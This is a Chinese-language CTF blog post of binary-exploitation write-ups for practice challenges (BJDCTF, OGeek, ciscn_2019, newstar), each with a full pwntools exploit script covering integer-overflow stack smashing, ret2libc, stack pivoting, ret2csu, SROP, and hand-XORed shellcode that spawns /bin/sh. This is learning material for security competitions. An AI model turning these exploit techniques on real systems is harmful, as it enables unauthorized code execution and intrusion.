Featured image of post game_pwn_sieve

game_pwn_sieve

收集一些补充知识点或有趣的题💛

[BJDCTF 2nd]r2t3 ——比较好的考察了整数溢出

alt text

我们可以表示的长度实际上还可以是 255+4255+7  即 259262

alt text

返回地址与dest距离0x11+0x4=0x15

alt text
也可以这么算

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./r2t3")
#gdb.attach(io)
io=remote("node5.buuoj.cn",26815)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

sh_addr=0x0804858B
payload=cyclic(0x15)+p32(sh_addr)+cyclic(262-0x15-4)
sla("name:",payload)
io.interactive()

[BJDCTF 2nd]one_gadget one_gadget工具使用 下的ret2libc

保护全开 本题实际上是想让我们使用one_gadget来直接获取shell

alt text
 

init中泄露printf的地址可以获取libc 而one_gadget列出了一系列可用execve(/bin/sh)的gadget,但是我们要注意call的时候寄存器的值是否符合限制要求(当然你也可以列举测试)

alt text
 

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./one_gadget")
#io=remote("node5.buuoj.cn",28965)
elf=ELF("./one_gadget")
libc=ELF('./libc-2.29.so')
gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ru("0x")
print_addr=int(rc(12),16)
log.success("print_addr:"+hex(print_addr))

libc_base=print_addr-libc.symbols['printf']

one_gadget=[0xe21ce,0xe21d1,0xe21d4,0xe2383,0x106ef8]
bin_sh=libc_base+one_gadget[4]
ru('Give me your one gadget:')
#pause()
sl(str(bin_sh))

io.interactive()

get_started_3dsctf_2016——后门函数特殊处理完成flag打印

保护开了NX

可栈溢出
我们需要的函数,a1,a2值符合可以输出flag,函数参数我们传入就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",26015)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

exit_addr=elf.symbols["exit"]
get_flag=elf.symbols["get_flag"]

payload=cyclic(56)+p32(get_flag)+p32(exit_addr)+p32(814536271)+p32(425138641)
se(payload)

io.interactive()

[OGeek2019]babyrop——截断符绕过的strncmp

main函数 保护开了full relro和NX

sub_804871f
第二个函数
主函数生成一个随机数作为参数传入第一个函数,然后再执行第二个函数 我们要将sub_804871f中buf[7]覆盖掉,使其尽量大,然后栈溢出执行rop 绕过:strncmp在相同时返回0,但是随机数无法判断所以我们使buf首位为’\x00' buf[7]要大于240才行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",29393)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload='\x00'+'\xff'*7
sl(payload)
io.recv()

ret=0x08048502
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048825
payload=cyclic(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
# 调用write函数,1并返回到main,对应的三个参数为1,write_got,4,写,4个字节的got地址
se(payload)
write_addr=u32(rc(4))
log.success("write_addr:"+hex(write_addr))
libc_base=write_addr-libc.symbols["write"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b"/bin/sh\x00").__next__()

payload='\x00'+'\xff'*7
sl(payload)
io.recv()
payload=cyclic(0xe7+4)+p32(system)+p32(114514)+p32(binsh)
sl(payload)
io.interactive()

ciscn_2019_ne_5——strcpy导致的栈溢出

strcpy导致了栈溢出 system后的返回地址不能放0,否则不会继续复制
main中s1给48字节,可溢出,getflag就可以直接getshell /bin/sh没找到,–string “sh"拿到shell地址

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF("./1")
io=remote("node5.buuoj.cn",25680)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shell_addr=0x80482ea
system_addr=elf.sym['system']
io.recv()
sl("administrator")

io.recv()
sl("1")

payload=cyclic(0x48+4)+p32(system_addr)+cyclic(4)+p32(shell_addr)

io.recv()
sl(payload)

io.recv()
sl("4")

io.interactive()

 ciscn_2019_es_2——栈迁移基础

主要的函数,只能读到return,无法实现覆盖,有一个hack函数只能echo flag,所以要栈迁移,关于栈迁移,可以看一下两个链接

  • 栈迁移总结
  • 栈迁移带动图 简单来说 我们一般将栈迁移到原来的栈或bss段 比如vmmap查看bss段 最重要的就是理解leave ret; leave=mov esp,ebp; pop ebp; //ebp要到哪就看其中内容 ret=pop eip; //执行一次栈顶内容,栈顶向下+1 这样就实现了ebp,esp的转移去保存新的栈顶, 而当我们布置完rop链后再次跳转到栈顶就可以执行了 回到这道题这道题的程序执行到leave的时候esp没变化,如果我们返回地址为leave ret;那么就可以再转移到栈顶, 由于mov esp,ebp后,pop ebp pop eip会指向esp下一条内容,esp位置填垃圾数据,然后填充system地址,最后填充所需数据,由于pop ebp过,所以我们要找到pre-ebp
    vul函数中esp和ebp相距0x38,可以泄露出pre-ebp 先将ebp上方填满,然后printf,因为没有\x00,所以跟在后面的ebp也会被输出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

io=process("./1")
#io=remote("node5.buuoj.cn",26000)
elf=ELF("./1")
gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00')) 
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload=cyclic(0x24)+b'AAAA'
sa("name?",payload)
ru('AAAA')
ebp=u32(rc(4))
log.success("ebp:"+hex(ebp))

leave_ret=0x08048562
payload=b'a'*4+p32(elf.sym['system'])+p32(0)+p32(ebp-0x28)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp-0x38)+p32(leave_ret)
se(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2——printf结构了解,泄露libc

保护只开了NX

printf可以泄露libc printf结构 int printf( const char* format , [argument] … ); 因此需要传两个参数,其中要有格式化字符串,用两个gadgets传参

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./babyrop2")
elf=ELF("./babyrop2")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",25899)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x400733
pop_rsi=0x400731 #pop_rsi_r15要传两个参
ret=0x4004d1
s_addr=0x400770

payload=cyclic(0x28)+p64(pop_rdi)+p64(s_addr)+p64(pop_rsi)+p64(elf.got['read'])+p64(0)+p64(elf.plt['printf'])+p64(elf.sym['main']) #pop_rsi后还有个pop_r15需要设置参数
sla("name? ",payload)
read_addr=get_64()
log.success("read_addr:"+hex(read_addr))
libc_addr=read_addr-libc.sym['read']
system_addr=libc_addr+libc.sym['system']
binsh_addr=libc_addr+libc.search(b'/bin/sh\x00').__next__()

payload=cyclic(0x28)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
ru("name? ")
sl(payload)
io.interactive()

ciscn_2019_s_3——无libc,极少gadgets可利用,ret2csu/srop

能利用的gadgets很少,这里可以考虑用ret2csu

ret2csu

64位程序中,函数前六个参数由寄存器传递,gadgets不够的情况下使用ret2csu,x64 下的 __libc_csu_init 中的 gadgets,ret2csu用于堆libc进行初始化操作, 一般来说大多数程序都会调用libc函数,所以这个函数必然存在,最后pop出一系列寄存器,我们可以以此控制数据

看到这里有mov rax,0Fh 0xF是系统调用号Sigreturn
注意到下面0x38是execve,可以用来利用,我们往栈上写入’/bin/sh’,然后将地址pop给rdi,将rsi,rdx置0,这样就可以execve("/bin/sh\x00",0,0)

解题

gdb动调,先输入aaaaaaaa,观察到存储在rsi寄存器中,查看一下内存

从0x30(字符串地址)开始输出到0x60,而字符偏移量为0x60-0x40=0x20,所以会打印出0x20的栈上内容 当然从vuln中buf距离rbp只有0x10却能打印0x30内容也能看出
如箭头,由于vul函数最后没有执行leave,所以rbp和rsp会指向一个位置,而原来的栈地址就在778这个地方,所以stack与buf的偏移就是778-660=118,想写入字符串地址,就要将stack-0x118,这样直接获得我们输入的/bin/sh 接下来找gadgets
pop_rdi,pop_rsi_r15都有了,到csu中找利用rdx的地方
通过修改r13可以修改rdx,修改r13靠下面的pop,置0
这里还要注意r12不能乱修改,修改完rbx后这里call就会跳转到r12+0了,下面也要注意cmp中rbx和rbp的比较,如果相同的话标志位为1下面就jnz跳转循环了 exp思路

1
2
3
4
5
rax->59 #execve
rdi->binsh
rdx->0
rsi->0
syscall #execve("/bin/sh\x00",0,0)

第二次进行攻击将构造好的值一口气在pop的时候传给寄存器,第二次的payload应该如下

但是实际写起来的时候我要写吐了,一堆问题 要注意坑点

  1. patchelf,远程环境ubuntu18泄露后地址偏移值是0x118,本地版本高却是0x148,
  2. 指令中没有leave,覆盖完数据就到ret了
  3. 实际r12传入的是binsh_addr+0x50(每个格子0x8,栈中覆盖后计算后刚好到r13_rdx后),此时call后跳转到rdi处
  4. 实际尝试过之后跳转后rsi r15设不设置不影响,当然最好设0这样省事

exp_ret2csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")

io=remote("node5.buuoj.cn",29139)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

rax_to_3b=0x4004E2
rdi_ret=0x4005a3
rsi_r15_ret=0x4005a1
rbx_rbp_r12_r13_14_15=0x40059A
r13_to_rdx=0x400580
syscall=0x400501

vuln_addr=0x04004ED
payload=cyclic(0x10)+p64(vuln_addr)
sl(payload)

io.recv(0x20)
stack = get_64()
log.info("stack:"+hex(stack))

binsh=stack-0x118 #栈地址-字符串在栈中的地址 = offset,反过来就得到字符串地址
log.info("binsh:"+hex(binsh))

payload=b'/bin/sh\x00'+cyclic(0x8)
payload+=p64(rbx_rbp_r12_r13_14_15)+p64(0)+p64(1)
payload+=p64(binsh+0x50)+p64(0)*3
payload+=p64(r13_to_rdx)
payload+=p64(rdi_ret)+p64(binsh) #CALL r12后刚好跳转到这里
# payload+=p64(rsi_r15_ret)+p64(0)+p64(0)
payload+=p64(rax_to_3b)
payload+=p64(syscall)

sl(payload)
io.interactive()

SROP解法

前面说到有mov rax, 0Fh 也就是0xf——sigreturn的调用号给出了,我们可以直接拿来利用 SROP的原理简单来说就是利用了进程机制

SROP原理

进程之间可以通过软中断信号进行中断

  1. 内核向某个进程发送signal信号,那么该进程就会被暂时挂起进入内核态
  2. 内核将该进程对应的上下文保存,寄存器压栈,signal信息压入,并且会指向sigreturn系统调用地址 这里可以简单理解为

保存为环境后去执行信号处理,但是由于处理完恢复栈相关环境时没有校验栈是否合法,我们能控制这个栈就可以恢复上下文环境时控制寄存器执行rop链

那么使用SROP需要的前提便是

  • 首先程序必须存在溢出,能够控制返回地址。
  • 可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
  • 必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
  • 允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
  • 需要知道syscall指令的地址

exp

newstar Bad_Asm

ps:什么玩意手搓shellcode,好痛苦

除canary外保护全开

  1. 题目限制syscall sysenter(从if中的两个判断得知,\x0f\x05-syscall \x0f\x34-sysenter
  2. read读入shellcode,\x00后shellcode不会读入 查找得知要用异或构造syscall 实在是不会手搓,看了官方wp和大佬博客 常用的有xor [rsi+rbx],xx xor [rip],xx,前面可以做到构造做单位的可见字符异或,后面这个可以在地址未知情况下直接异或后边两字节 exec()中将rsp,rbp都清空了 在任意可读写段恢复rsp,才能正常push pop 先用异或把syscall的机器码插入到shellcode后面执行read的syscall read可以在旧的shellcode末尾插入shellcodeexecve("/bin/sh", 0, 0)

exp

1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("192.168.3.104",61765)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shellcode='''
mov rsp,rsi;
add rsp,0x60; //任意合法值均可
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode=asm(shellcode)+b'\x0f\x45'
sla(b"Input your Code : \n",shellcode)
#pause()
sleep(0.5)
se(b'\x90'*0x20+asm(shellcraft.sh()))

io.interactive()

官方的比较好理解的一个shellcode构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi       ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置,rsi进栈对应栈顶
 
mov rdi, rsp   ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00' 
xor rsi, rsi
xor rdx, rdx   ; // 设置 rsi, rdx
xor rax, rax
mov al, 59     ; //设置 execve 的系统调用号
 
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx       ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp //跳转rsp,执行
'''
io.sendafter("Input your Code :", asm(shellcode))
io.interactive()

思路是把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp 即可。由于这种方法我们并不依赖 nop 指令进行连接,在送 Payload 的时候可以去掉 ljust 了。

newstar Inverted_World

把 Stack 旋转 180°,不就没有 Stack0verf1ow 的烦恼了嘛♡~

😅幽默 保护没开PIE,开了canary

看,read有很大溢出空间对不对,但是这个read是自定义的_read(),是向read相反方向进行输入的
rsp是负的而,真是反着长的 那填满还能溢出到返回地址吗? 反向填满再反向填返回地址 反向输入sh试试,system(“sh”)来get shell
注意要跳过backdoor中if判断,不然绝对过不了检测,直接返回到中间部分去执行system(“sh”)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("172.22.192.1",51780)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

addr=p64(0x40137C)[::-1]
#print(addr)
payload=cyclic(0x100)+addr
sl(payload)
ru("root@AkyOI-VM:~#")
sl("hs")
io.interactive()

就,挺奇妙的

newstar Ez_fmt

保护

三次for函数 printf(buf)明显格式化字符串
偏移为8 三次格式化字符串可以

  • 泄露libc
  • 改printf got表地址到system
  • printf(sh)——system(sh) ez

canary偏移位置为0x38/8=7 字符串偏移位置为8 8+7=15

本博客已稳定运行
发表了30篇文章 · 总计6万7千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...